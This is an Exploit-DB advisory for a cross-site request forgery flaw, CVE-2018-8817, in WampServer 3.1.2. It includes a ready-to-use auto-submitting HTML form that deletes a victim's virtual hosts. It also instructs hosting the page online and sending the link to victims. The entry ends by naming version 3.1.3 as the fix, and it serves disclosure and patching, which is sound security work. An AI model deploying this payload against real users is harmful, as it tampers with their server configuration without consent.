WampServer 3.1.2 - Cross-Site Request Forgery

EDB-ID: 44385
Author: Vipin Chaudhary
Published: 2018-04-02
CVE: CVE-2018-8817
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 31-03-2018 
# Software Link: http://www.wampserver.com/en/
# Version: 3.1.2
# Tested On: Windows 10
# Exploit Author: Vipin Chaudhary
# Contact: http://twitter.com/vipinxsec
# Website: http://medium.com/@vipinxsec
# CVE: CVE-2018-8817


1. Description

CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote
attacker to force any victim to add or delete virtual hosts.

http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722

2. Proof of Concept

How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on
internet and send the link to the victim.

*Exploit Code for deleting any host remotely:*

1. Copy and paste this CSRF request in notepad and save it as anything.html
<html>
<body onload="wamp_csrf.submit();">
<form action="http://localhost/add_vhost.php?lang=english"
name="wamp_csrf" method="POST">
<input type="hidden" name="virtual&#95;del&#91;&#93;"
value="localhost" />
<input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost"
/>
</form>
</body>
</html>

2. Then run it on your installed vulnerable wampserver.

3. Solution:

Update to version 3.1.3
http://www.wampserver.com/en/#download-wrapper

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